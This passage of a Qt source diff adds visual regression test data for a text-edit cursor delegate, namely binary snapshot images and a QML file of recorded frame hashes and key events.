msec: 6544 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6560 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6576 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6592 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6608 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6624 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6640 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6656 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6672 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6688 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6704 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6720 + image: "wrap.6.png" + } + Frame { + msec: 6736 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6752 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6768 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6784 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6800 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6816 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6832 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6848 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6864 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.0.png new file mode 100644 index 0000000..555996a Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.1.png new file mode 100644 index 0000000..b705bad Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.1.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.2.png new file mode 100644 index 0000000..094cd2a Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.2.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.3.png new file mode 100644 index 0000000..9c519c7 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.3.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.4.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.4.png new file mode 100644 index 0000000..3ec77b5 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.4.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.5.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.5.png new file mode 100644 index 0000000..579a66e Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.5.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.6.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.6.png new file mode 100644 index 0000000..9e5ac90 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.6.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.7.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.7.png new file mode 100644 index 0000000..9f3acfc Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.7.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.8.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.8.png new file mode 100644 index 0000000..f27518a Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.8.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.qml new file mode 100644 index 0000000..8578d48 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.qml @@ -0,0 +1,3555 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "15da97430bcbac3a16d9897bbf2e4dbd" + } + Frame { + msec: 32 + hash: "15da97430bcbac3a16d9897bbf2e4dbd" + } + Frame { + msec: 48 + hash: "15da97430bcbac3a16d9897bbf2e4dbd" + } + Frame { + msec: 64 + hash: "15da97430bcbac3a16d9897bbf2e4dbd" + } + Frame { + msec: 80 + hash: "15da97430bcbac3a16d9897bbf2e4dbd" + } + Frame { + msec: 96 + hash: "15da97430bcbac3a16d9897bbf2e4dbd" + } + Frame { + msec: 112 + hash: "15da97430bcbac3a16d9897bbf2e4dbd" + } + Frame { + msec: 128 + hash: "15da97430bcbac3a16d9897bbf2e4dbd" + } + Frame { + msec: 144 + hash: "15da97430bcbac3a16d9897bbf2e4dbd" + } + Frame { + msec: 160 + hash: "15da97430bcbac3a16d9897bbf2e4dbd" + } + Frame { + msec: 176 + hash: "15da97430bcbac3a16d9897bbf2e4dbd" + } + Frame { + msec: 192 + hash: "15da97430bcbac3a16d9897bbf2e4dbd" + } + Frame { + msec: 208 + hash: "15da97430bcbac3a16d9897bbf2e4dbd" + } + Frame { + msec: 224 + hash: "15da97430bcbac3a16d9897bbf2e4dbd" + } + Frame { + msec: 240 + hash: "15da97430bcbac3a16d9897bbf2e4dbd" + } + Frame { + msec: 256 + hash: "15da97430bcbac3a16d9897bbf2e4dbd" + } + Frame { + msec: 272 + hash: "15da97430bcbac3a16d9897bbf2e4dbd" + } + Frame { + msec: 288 + hash: "15da97430bcbac3a16d9897bbf2e4dbd" + } + Frame { + msec: 304 + hash: "15da97430bcbac3a16d9897bbf2e4dbd" + } + Frame { + msec: 320 + hash: "15da97430bcbac3a16d9897bbf2e4dbd" + } + Frame { + msec: 336 + hash: "15da97430bcbac3a16d9897bbf2e4dbd" + } + Frame { + msec: 352 + hash: "15da97430bcbac3a16d9897bbf2e4dbd" + } + Frame { + msec: 368 + hash: "15da97430bcbac3a16d9897bbf2e4dbd" + } + Frame { + msec: 384 + hash: "15da97430bcbac3a16d9897bbf2e4dbd" + } + Frame { + msec: 400 + hash: "15da97430bcbac3a16d9897bbf2e4dbd" + } + Frame { + msec: 416 + hash: "15da97430bcbac3a16d9897bbf2e4dbd" + } + Frame { + msec: 432 + hash: "15da97430bcbac3a16d9897bbf2e4dbd" + } + Frame { + msec: 448 + hash: "15da97430bcbac3a16d9897bbf2e4dbd" + } + Frame { + msec: 464 + hash: "15da97430bcbac3a16d9897bbf2e4dbd" + } + Frame { + msec: 480 + hash: "15da97430bcbac3a16d9897bbf2e4dbd" + } + Frame { + msec: 496 + hash: "15da97430bcbac3a16d9897bbf2e4dbd" + } + Frame { + msec: 512 + hash: "15da97430bcbac3a16d9897bbf2e4dbd" + } + Frame { + msec: 528 + hash: "15da97430bcbac3a16d9897bbf2e4dbd" + } + Frame { + msec: 544 + hash: "2aec32493055ad17f4aac9b3c9b84c5f" + } + Frame { + msec: 560 + hash: "e0826ff09b628a5e3ddf6d9e5593f937" + } + Frame { + msec: 576 + hash: "eacfa8db605b9e386a55508e8943e7d1" + } + Frame { + msec: 592 + hash: "2dbe9b5bbb5baf12cd2cbfb4190be316" + } + Frame { + msec: 608 + hash: "60a60e06237318bf005f87bbba386fef" + } + Frame { + msec: 624 + hash: "97549f388c02adb8884c2e79510adc7e" + } + Frame { + msec: 640 + hash: "d882fe91d9df9862d620cf984e27d0bd" + } + Frame { + msec: 656 + hash: "6310b65572e39256122c7620f7e87442" + } + Frame { + msec: 672 + hash: "4e7374a683050ff440056b6e7c971d2b" + } + Frame { + msec: 688 + hash: "35c0d55cda3a02eb4c441a5832bcbbf4" + } + Frame { + msec: 704 + hash: "8d71c418593eb3e4834d5e608ffd3f29" + } + Frame { + msec: 720 + hash: "0da2c1cd0138172698a3bee5d19168c5" + } + Frame { + msec: 736 + hash: "8ca757a4fd1987329488f63251b0f6b4" + } + Frame { + msec: 752 + hash: "70c827f1b34b44cbd775b666913556d6" + } + Frame { + msec: 768 + hash: "2b91dcef1b3ca66059dd9db4c8e335f3" + } + Frame { + msec: 784 + hash: "38abc77b2361ce257d39c0cf268ba42b" + } + Frame { + msec: 800 + hash: "59865194eb63465dd0f3925c7a500340" + } + Frame { + msec: 816 + hash: "7bed5747d6b771db0fe5802153e54f2f" + } + Frame { + msec: 832 + hash: "9ac1bf268749bc8e58bc4d04b55ef849" + } + Frame { + msec: 848 + hash: "64ea5cb46782d250c46a7a2c8cceea20" + } + Frame { + msec: 864 + hash: "d81037eb21bfcb434b6c7f3bbd21ad12" + } + Frame { + msec: 880 + hash: "1079ea3a1a62e2cca9a8e907bc5aa4e1" + } + Frame { + msec: 896 + hash: "96422f9bfbc11775cd7d1fae2ba357bd" + } + Frame { + msec: 912 + hash: "0d247385059a6f68b37bc34f6b2214b1" + } + Frame { + msec: 928 + hash: "7c513361e13a90eef229b42e68ffaa18" + } + Frame { + msec: 944 + hash: "510b8441c613f0637dfc46e03c278112" + } + Frame { + msec: 960 + image: "cursorDelegate.0.png" + } + Frame { + msec: 976 + hash: "8d90112e2e1c6f226a1a5f4f75785939" + } + Frame { + msec: 992 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Frame { + msec: 1008 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Frame { + msec: 1024 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Frame { + msec: 1040 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Frame { + msec: 1056 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Frame { + msec: 1072 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Frame { + msec: 1088 + hash: "8d90112e2e1c6f226a1a5f4f75785939" + } + Frame { + msec: 1104 + hash: "85e6af1f5fd15338a15f984e24d5ec9d" + } + Frame { + msec: 1120 + hash: "510b8441c613f0637dfc46e03c278112" + } + Frame { + msec: 1136 + hash: "7c513361e13a90eef229b42e68ffaa18" + } + Frame { + msec: 1152 + hash: "0d247385059a6f68b37bc34f6b2214b1" + } + Frame { + msec: 1168 + hash: "96422f9bfbc11775cd7d1fae2ba357bd" + } + Frame { + msec: 1184 + hash: "1079ea3a1a62e2cca9a8e907bc5aa4e1" + } + Frame { + msec: 1200 + hash: "d81037eb21bfcb434b6c7f3bbd21ad12" + } + Frame { + msec: 1216 + hash: "64ea5cb46782d250c46a7a2c8cceea20" + } + Frame { + msec: 1232 + hash: "9ac1bf268749bc8e58bc4d04b55ef849" + } + Frame { + msec: 1248 + hash: "7bed5747d6b771db0fe5802153e54f2f" + } + Frame { + msec: 1264 + hash: "59865194eb63465dd0f3925c7a500340" + } + Frame { + msec: 1280 + hash: "38abc77b2361ce257d39c0cf268ba42b" + } + Frame { + msec: 1296 + hash: "2b91dcef1b3ca66059dd9db4c8e335f3" + } + Frame { + msec: 1312 + hash: "70c827f1b34b44cbd775b666913556d6" + } + Frame { + msec: 1328 + hash: "8ca757a4fd1987329488f63251b0f6b4" + } + Frame { + msec: 1344 + hash: "0da2c1cd0138172698a3bee5d19168c5" + } + Frame { + msec: 1360 + hash: "8d71c418593eb3e4834d5e608ffd3f29" + } + Frame { + msec: 1376 + hash: "35c0d55cda3a02eb4c441a5832bcbbf4" + } + Key { + type: 6 + key: 16777232 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1392 + hash: "4e7374a683050ff440056b6e7c971d2b" + } + Frame { + msec: 1408 + hash: "6310b65572e39256122c7620f7e87442" + } + Frame { + msec: 1424 + hash: "d882fe91d9df9862d620cf984e27d0bd" + } + Frame { + msec: 1440 + hash: "97549f388c02adb8884c2e79510adc7e" + } + Frame { + msec: 1456 + hash: "60a60e06237318bf005f87bbba386fef" + } + Key { + type: 7 + key: 16777232 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1472 + hash: "2dbe9b5bbb5baf12cd2cbfb4190be316" + } + Frame { + msec: 1488 + hash: "eacfa8db605b9e386a55508e8943e7d1" + } + Frame { + msec: 1504 + hash: "e0826ff09b628a5e3ddf6d9e5593f937" + } + Frame { + msec: 1520 + hash: "2aec32493055ad17f4aac9b3c9b84c5f" + } + Frame { + msec: 1536 + hash: "c0e72cdf776b0c62742aa9c3683cd523" + } + Frame { + msec: 1552 + hash: "ea3f512181b3ee94d8cdd4d9f59ed962" + } + Frame { + msec: 1568 + hash: "de924155855e76d0591217448f79bdb6" + } + Frame { + msec: 1584 + hash: "51da770a75102de9ad1920f1f6c44146" + } + Frame { + msec: 1600 + hash: "e3c0e8f6385ef2ab9b671be3243774c4" + } + Frame { + msec: 1616 + hash: "eac6de65ea6726f0cc50b6d30c1b7ba5" + } + Frame { + msec: 1632 + hash: "2ee111386bd646c4ee577405e490a2f7" + } + Key { + type: 6 + key: 16777233 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1648 + hash: "24c376d5a2b3555126b156c8bc7a7a0c" + } + Frame { + msec: 1664 + hash: "d9c35de8b02f11db321d9bdcdcd65403" + } + Frame { + msec: 1680 + hash: "0b32a66497ec3cdd05dc27c0ef9c5718" + } + Frame { + msec: 1696 + hash: "9626f80ef170af2db135792337203265" + } + Frame { + msec: 1712 + hash: "6e4ce7599da579f764ff10e982888889" + } + Frame { + msec: 1728 + hash: "5ad4dd681be780c0068734ca5c722507" + } + Key { + type: 7 + key: 16777233 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1744 + hash: "7d620ef53049f9195cc832d6f9dfd52b" + } + Frame { + msec: 1760 + hash: "0f54144c574af01958505eedd69162f6" + } + Frame { + msec: 1776 + hash: "50f168354e3901283708a4ae9088783d" + } + Frame { + msec: 1792 + hash: "c55fdf2fd0a4eeb9ca0e3072aa3e60c4" + } + Frame { + msec: 1808 + hash: "d351de13e7bb5b273ec3aebb88dffbd5" + } + Frame { + msec: 1824 + hash: "977d44194d1ef05801167157714891af" + } + Frame { + msec: 1840 + hash: "ef3694ca78764709abbe2f8781578fb4" + } + Frame { + msec: 1856 + hash: "77afbc0e0b828d03148ed7fe342dfbda" + } + Frame { + msec: 1872 + hash: "0d94e37430d8b835e65750a6af525ef7" + } + Frame { + msec: 1888 + hash: "e009a8d2cb7c7f1200055666cf2efd9c" + } + Frame { + msec: 1904 + hash: "096a2742962d7b22dba768577373e656" + } + Frame { + msec: 1920 + image: "cursorDelegate.1.png" + } + Frame { + msec: 1936 + hash: "905b6c7ab24fd1a12f17494fc1935e98" + } + Frame { + msec: 1952 + hash: "9bc98b4a32ea933fcc3a40eaae9b3516" + } + Frame { + msec: 1968 + hash: "70f0313540b3517f3b6d403c3ab1199c" + } + Frame { + msec: 1984 + hash: "309ae1af1ef7dbaf0b892ad60fd3eb93" + } + Frame { + msec: 2000 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Frame { + msec: 2016 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Frame { + msec: 2032 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Frame { + msec: 2048 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Frame { + msec: 2064 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Frame { + msec: 2080 + hash: "309ae1af1ef7dbaf0b892ad60fd3eb93" + } + Frame { + msec: 2096 + hash: "70f0313540b3517f3b6d403c3ab1199c" + } + Frame { + msec: 2112 + hash: "9bc98b4a32ea933fcc3a40eaae9b3516" + } + Key { + type: 6 + key: 16777248 + modifiers: 33554432 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2128 + hash: "905b6c7ab24fd1a12f17494fc1935e98" + } + Frame { + msec: 2144 + hash: "31adf3a3bfbd1083c50cae7ed5d64334" + } + Frame { + msec: 2160 + hash: "096a2742962d7b22dba768577373e656" + } + Frame { + msec: 2176 + hash: "e009a8d2cb7c7f1200055666cf2efd9c" + } + Frame { + msec: 2192 + hash: "0d94e37430d8b835e65750a6af525ef7" + } + Frame { + msec: 2208 + hash: "77afbc0e0b828d03148ed7fe342dfbda" + } + Frame { + msec: 2224 + hash: "ef3694ca78764709abbe2f8781578fb4" + } + Frame { + msec: 2240 + hash: "977d44194d1ef05801167157714891af" + } + Frame { + msec: 2256 + hash: "d351de13e7bb5b273ec3aebb88dffbd5" + } + Frame { + msec: 2272 + hash: "c55fdf2fd0a4eeb9ca0e3072aa3e60c4" + } + Frame { + msec: 2288 + hash: "50f168354e3901283708a4ae9088783d" + } + Frame { + msec: 2304 + hash: "0f54144c574af01958505eedd69162f6" + } + Frame { + msec: 2320 + hash: "7d620ef53049f9195cc832d6f9dfd52b" + } + Key { + type: 6 + key: 16777232 + modifiers: 33554432 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2336 + hash: "03e906dfb3bf98f521d805331d3b5b9c" + } + Frame { + msec: 2352 + hash: "c2376393ea9541b909b6b4fe188fa03e" + } + Frame { + msec: 2368 + hash: "9b3935370412c75acdf6e91100cf2f53" + } + Frame { + msec: 2384 + hash: "30ab7913bdfc51d2df5ab9f3863d28c7" + } + Frame { + msec: 2400 + hash: "593656e93d6e01419002dbb581aa6cbd" + } + Frame { + msec: 2416 + hash: "33800dd560e44ce39d6325bbdee689de" + } + Frame { + msec: 2432 + hash: "c41a9c4f08053d5d18fb2d530ed8b5ad" + } + Key { + type: 7 + key: 16777232 + modifiers: 33554432 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2448 + hash: "b3f2d4a2cb9a9d1304a2a2d07ad41ff2" + } + Frame { + msec: 2464 + hash: "93cf7fe53bc1fd749c523d40b27d17b4" + } + Frame { + msec: 2480 + hash: "6e9226d01dd93cff763e851148da8dfd" + } + Frame { + msec: 2496 + hash: "79fdbda495bbc6c9ae8be03e1467de92" + } + Frame { + msec: 2512 + hash: "c30fc0fa9351dbcdbe4f2a297cba9a52" + } + Frame { + msec: 2528 + hash: "eaf26162fd5ce42262ea08ef39a7123d" + } + Frame { + msec: 2544 + hash: "7bf0d6a5753a60eefae6d3c3819fabe4" + } + Frame { + msec: 2560 + hash: "a2ee3a3b9cd22d7c0e54524cad32e647" + } + Frame { + msec: 2576 + hash: "822298cfc4e2d64db1bf3e442dd891e6" + } + Frame { + msec: 2592 + hash: "d075c64000b045eae1b42dce701787b7" + } + Frame { + msec: 2608 + hash: "5ca7f15af781f896c83c81077f6b072e" + } + Frame { + msec: 2624 + hash: "7d0f14896e67c56ed5238472dc127cb1" + } + Frame { + msec: 2640 + hash: "dca161e8a9d786ba9d50aa655ccbecd3" + } + Frame { + msec: 2656 + hash: "73bfcb0f5104efd056f25f7d73126369" + } + Frame { + msec: 2672 + hash: "0090459043b05bf9504434f36230b32b" + } + Frame { + msec: 2688 + hash: "f64315858f375c6ded480b2017fc18a5" + } + Frame { + msec: 2704 + hash: "fe4c0ecfa9779c9fe052d4ffc9386d46" + } + Frame { + msec: 2720 + hash: "849ad15f0ca893881165e956e8a26174" + } + Frame { + msec: 2736 + hash: "c4373fa63ed00832c70a6b94cb729397" + } + Frame { + msec: 2752 + hash: "0c7e08fb7f0dd954b0f171a37ef2a310" + } + Frame { + msec: 2768 + hash: "505071572df7aa300a675f8a808bc7f4" + } + Frame { + msec: 2784 + hash: "52839867e81d52746196f299a8371453" + } + Key { + type: 7 + key: 16777248 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2800 + hash: "c4d214a7e0fc52c2a45fc6e3df12550a" + } + Frame { + msec: 2816 + hash: "f1fa48d796667bd053fff4af7ec1d8ce" + } + Frame { + msec: 2832 + hash: "081e46decc8aba911f018acfd761cda1" + } + Frame { + msec: 2848 + hash: "fa417c9bfda1da66320a8e59fbaeb5b6" + } + Frame { + msec: 2864 + hash: "83dfa353fd20f3bf7caa8e6ca9a9933c" + } + Frame { + msec: 2880 + image: "cursorDelegate.2.png" + } + Frame { + msec: 2896 + hash: "c11459b1d3e51f3d2f5bd30049bcca42" + } + Frame { + msec: 2912 + hash: "997ff3fa82ba2fb27a9c41ed9abe8991" + } + Frame { + msec: 2928 + hash: "f8baaadde147266416c9ab3f9d9106ce" + } + Frame { + msec: 2944 + hash: "79d1d34fd343d8de631aa3259167fe26" + } + Frame { + msec: 2960 + hash: "8b1445ca6131a0fc4377ded24a60186a" + } + Frame { + msec: 2976 + hash: "784cc01604ecadf74a45164f73f0336d" + } + Frame { + msec: 2992 + hash: "b9aeac2be5c8e16e7938e141f32776be" + } + Frame { + msec: 3008 + hash: "b9aeac2be5c8e16e7938e141f32776be" + } + Frame { + msec: 3024 + hash: "b9aeac2be5c8e16e7938e141f32776be" + } + Frame { + msec: 3040 + hash: "b9aeac2be5c8e16e7938e141f32776be" + } + Frame { + msec: 3056 + hash: "b9aeac2be5c8e16e7938e141f32776be" + } + Frame { + msec: 3072 + hash: "b9aeac2be5c8e16e7938e141f32776be" + } + Key { + type: 6 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 3088 + hash: "00dfc5f4468482cb5f74e62be235b1d2" + } + Frame { + msec: 3104 + hash: "62bc9c57724f7ab6bcf7d75d8ff68097" + } + Frame { + msec: 3120 + hash: "ad65de5a6887c0a31a9d8f72a2a651db" + } + Frame { + msec: 3136 + hash: "75e854ccaad087bfe776a843f0bd7284" + } + Frame { + msec: 3152 + hash: "1e3f580f37a0dc063a383bdf435e85ea" + } + Frame { + msec: 3168 + hash: "3d78320cb021944d7c6cee1a42056663" + } + Frame { + msec: 3184 + hash: "fca865f762c1a6cc3e487e0e908eef73" + } + Key { + type: 7 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 3200 + hash: "fb7ad9156658f3866d19e43f006cf013" + } + Frame { + msec: 3216 + hash: "6f7411363c66d0959ea5a16a9b610e61" + } + Frame { + msec: 3232 + hash: "a33dce3c55b1b1541cfb9b85a75fcb53" + } + Frame { + msec: 3248 + hash: "56b81435dc4ce193bb98c3d02c781242" + } + Key { + type: 6 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 3264 + hash: "59865194eb63465dd0f3925c7a500340" + } + Frame { + msec: 3280 + hash: "38abc77b2361ce257d39c0cf268ba42b" + } + Frame { + msec: 3296 + hash: "2b91dcef1b3ca66059dd9db4c8e335f3" + } + Frame { + msec: 3312 + hash: "70c827f1b34b44cbd775b666913556d6" + } + Frame { + msec: 3328 + hash: "8ca757a4fd1987329488f63251b0f6b4" + } + Frame { + msec: 3344 + hash: "0da2c1cd0138172698a3bee5d19168c5" + } + Frame { + msec: 3360 + hash: "8d71c418593eb3e4834d5e608ffd3f29" + } + Key { + type: 7 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 3376 + hash: "35c0d55cda3a02eb4c441a5832bcbbf4" + } + Frame { + msec: 3392 + hash: "4e7374a683050ff440056b6e7c971d2b" + } + Frame { + msec: 3408 + hash: "6310b65572e39256122c7620f7e87442" + } + Frame { + msec: 3424 + hash: "d882fe91d9df9862d620cf984e27d0bd" + } + Frame { + msec: 3440 + hash: "97549f388c02adb8884c2e79510adc7e" + } + Frame { + msec: 3456 + hash: "60a60e06237318bf005f87bbba386fef" + } + Frame { + msec: 3472 + hash: "2dbe9b5bbb5baf12cd2cbfb4190be316" + } + Frame { + msec: 3488 + hash: "eacfa8db605b9e386a55508e8943e7d1" + } + Frame { + msec: 3504 + hash: "e0826ff09b628a5e3ddf6d9e5593f937" + } + Frame { + msec: 3520 + hash: "2aec32493055ad17f4aac9b3c9b84c5f" + } + Frame { + msec: 3536 + hash: "c0e72cdf776b0c62742aa9c3683cd523" + } + Frame { + msec: 3552 + hash: "ea3f512181b3ee94d8cdd4d9f59ed962" + } + Frame { + msec: 3568 + hash: "de924155855e76d0591217448f79bdb6" + } + Frame { + msec: 3584 + hash: "51da770a75102de9ad1920f1f6c44146" + } + Frame { + msec: 3600 + hash: "e3c0e8f6385ef2ab9b671be3243774c4" + } + Frame { + msec: 3616 + hash: "eac6de65ea6726f0cc50b6d30c1b7ba5" + } + Frame { + msec: 3632 + hash: "2ee111386bd646c4ee577405e490a2f7" + } + Frame { + msec: 3648 + hash: "fe95122352effcf1815bc237fc6ce6ab" + } + Frame { + msec: 3664 + hash: "e3bb1ec3b84df25712f06e0d6963efdd" + } + Frame { + msec: 3680 + hash: "a10d3184acc85c46e171fe4cf82e1c23" + } + Frame { + msec: 3696 + hash: "d566b2763312e5e823593806acd9e809" + } + Frame { + msec: 3712 + hash: "7db073b7487ddea48e7c9df8b9bfdc00" + } + Frame { + msec: 3728 + hash: "85c663b943f67d158367dba0508980a5" + } + Frame { + msec: 3744 + hash: "6336ce0d912ee63773475c4c6c5d59be" + } + Frame { + msec: 3760 + hash: "c75ba80484af36633b6a4d17b666b1c9" + } + Frame { + msec: 3776 + hash: "08b7d4eef2d15bc717ff1a981a11f275" + } + Frame { + msec: 3792 + hash: "0ab8bebb0e43786a7e51ea780745080c" + } + Frame { + msec: 3808 + hash: "6fa1811f520eff9893b3c7b00e53fa7d" + } + Frame { + msec: 3824 + hash: "6feb44655bfbec651cc2902676bd08b4" + } + Frame { + msec: 3840 + image: "cursorDelegate.3.png" + } + Frame { + msec: 3856 + hash: "00b7714df163d8055514e0dbd8a83bac" + } + Frame { + msec: 3872 + hash: "6ef2a330d70a7e0ce343bb352c46f126" + } + Frame { + msec: 3888 + hash: "f4e26309fa3b8a6d55f44bf146544101" + } + Frame { + msec: 3904 + hash: "dfa1e24149f2662a4a552da3bb64348c" + } + Frame { + msec: 3920 + hash: "9ab9d6ef4aeb5863401a9e251f684e2d" + } + Frame { + msec: 3936 + hash: "c9f7591a37a3743b3b48de5337fd2fa0" + } + Frame { + msec: 3952 + hash: "2d38f17db530050574d9192c805c142d" + } + Frame { + msec: 3968 + hash: "38a4ad2cf9fa3015eff67014900a44cc" + } + Frame { + msec: 3984 + hash: "9d9ce4ac0de6caa2f0bb78eac414ba65" + } + Frame { + msec: 4000 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Frame { + msec: 4016 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Frame { + msec: 4032 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Frame { + msec: 4048 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Frame { + msec: 4064 + hash: "60edce44dd4ca7fac8d8093990ee5ec1" + } + Frame { + msec: 4080 + hash: "9d9ce4ac0de6caa2f0bb78eac414ba65" + } + Frame { + msec: 4096 + hash: "38a4ad2cf9fa3015eff67014900a44cc" + } + Frame { + msec: 4112 + hash: "2d38f17db530050574d9192c805c142d" + } + Frame { + msec: 4128 + hash: "c9f7591a37a3743b3b48de5337fd2fa0" + } + Frame { + msec: 4144 + hash: "9ab9d6ef4aeb5863401a9e251f684e2d" + } + Frame { + msec: 4160 + hash: "dfa1e24149f2662a4a552da3bb64348c" + } + Frame { + msec: 4176 + hash: "f4e26309fa3b8a6d55f44bf146544101" + } + Frame { + msec: 4192 + hash: "6ef2a330d70a7e0ce343bb352c46f126" + } + Frame { + msec: 4208 + hash: "00b7714df163d8055514e0dbd8a83bac" + } + Frame { + msec: 4224 + hash: "ae46d672649a4b0fc5171f776af93a2c" + } + Frame { + msec: 4240 + hash: "6feb44655bfbec651cc2902676bd08b4" + } + Frame { + msec: 4256 + hash: "6fa1811f520eff9893b3c7b00e53fa7d" + } + Frame { + msec: 4272 + hash: "0ab8bebb0e43786a7e51ea780745080c" + } + Frame { + msec: 4288 + hash: "08b7d4eef2d15bc717ff1a981a11f275" + } + Frame { + msec: 4304 + hash: "c75ba80484af36633b6a4d17b666b1c9" + } + Frame { + msec: 4320 + hash: "6336ce0d912ee63773475c4c6c5d59be" + } + Frame { + msec: 4336 + hash: "85c663b943f67d158367dba0508980a5" + } + Frame { + msec: 4352 + hash: "7db073b7487ddea48e7c9df8b9bfdc00" + } + Frame { + msec: 4368 + hash: "d566b2763312e5e823593806acd9e809" + } + Frame { + msec: 4384 + hash: "a10d3184acc85c46e171fe4cf82e1c23" + } + Frame { + msec: 4400 + hash: "e3bb1ec3b84df25712f06e0d6963efdd" + } + Frame { + msec: 4416 + hash: "fe95122352effcf1815bc237fc6ce6ab" + } + Frame { + msec: 4432 + hash: "2ee111386bd646c4ee577405e490a2f7" + } + Frame { + msec: 4448 + hash: "eac6de65ea6726f0cc50b6d30c1b7ba5" + } + Frame { + msec: 4464 + hash: "e3c0e8f6385ef2ab9b671be3243774c4" + } + Frame { + msec: 4480 + hash: "51da770a75102de9ad1920f1f6c44146" + } + Frame { + msec: 